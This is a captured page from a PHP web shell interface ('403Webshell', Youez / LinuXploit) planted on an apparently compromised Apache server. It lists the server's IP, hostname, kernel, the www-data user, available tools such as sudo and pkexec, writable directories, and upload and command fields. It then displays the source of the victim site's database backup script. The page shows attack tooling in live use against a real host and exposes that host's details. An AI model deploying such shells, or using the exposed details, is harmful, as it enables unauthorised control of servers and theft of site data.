403Webshell
Server IP : 93.86.61.54  /  Your IP : 216.73.216.60
Web Server : Apache/2.4.62 (Ubuntu)
System : Linux rasin.ddns.net 6.8.0-124-generic #124~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 21:05:19 UTC x86_64
User : www-data ( 33)
PHP Version : 8.4.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/projects/radvre/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/projects/radvre/admin/db_bak.php
<!DOCTYPE html>
<!--
**************************************
 Project: LogDogPlan
 File   :  
 Version: 2021-10-25
 Author : M. Kukic
 Note   : PHP + MySQL v5/7 + Apache 
**************************************

http://net-nas/www/logdogplan/fb.php

-->
<html>
<link rel="stylesheet" href="lgdgstil.css">

<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<link rel='shortcut icon' type='image/png' href='favicon.ico'/>
<title>LogDogPlan</title>
</head>
<body>

<?php
//
include "config.php";
//
echo"<div style='width:640px; word-wrap:break-word;'>";
echo "<fieldset>";
echo "<legend><h3>LogDogPlan - Backup</h3></legend>";
echo "<table border=\"0\">";
echo "</fieldset>";
//
		echo "<br>";
		echo "User: <b>".$user. "</b> / Status: ".$userstatus." / ".$uelmail;
		echo "<br><br>";
//
	$tabelain=$u_dbp."_logdog";
	$tabelaout=$u_dbp."_logdog_".date("ymd_Hi");	
	echo "Data In/Out: ".$tabelain." / ".$tabelaout;
	//$sql = "CREATE TABLE $tabela LIKE klase";
	$sql = "CREATE TABLE ".$tabelaout." AS SELECT * FROM ".$tabelain;
	if ($ver==4) {	
		mysql_query($sql, $dbh) or die (mysql_error($dbh));
	}else{
		mysqli_query($dbh, $sql) or die (mysqli_error($dbh));
	}
//	
	echo "<br><br>";
//	
	$tabelain=$u_dbp."_klase";
	$tabelaout=$u_dbp."_klase_".date("ymd_Hi");	
	echo "Data In/Out: ".$tabelain." / ".$tabelaout;
	//$sql = "CREATE TABLE $tabela LIKE klase";
	$sql = "CREATE TABLE ".$tabelaout." AS SELECT * FROM ".$tabelain;
	if ($ver==4) {	
		mysql_query($sql, $dbh) or die (mysql_error($dbh));
	}else{
		mysqli_query($dbh, $sql) or die (mysqli_error($dbh));
	}
//	
	echo "<br><br>";
//	
	$tabelain="user";
	$tabelaout="user_".date("ymd_Hi");
	echo "Data In/Out: ".$tabelain." / ".$tabelaout;
	$sql = "CREATE TABLE ".$tabelaout." AS SELECT * FROM ".$tabelain;
	if ($ver==4) {	
		mysql_query($sql, $dbh) or die (mysql_error($dbh));
	}else{
		mysqli_query($dbh, $sql) or die (mysqli_error($dbh));
	}
//
echo "<br><br>";
echo "Sts. OK!";
echo "<br>";
include "close_db.php";	
echo "<hr>";
echo "<a href='index_adm.php'><img src='img/hom.png' width='80' height=''</a>";
?>
</div>
</body>
</html>


Youez - 2016 - github.com/yon3zu
LinuXploit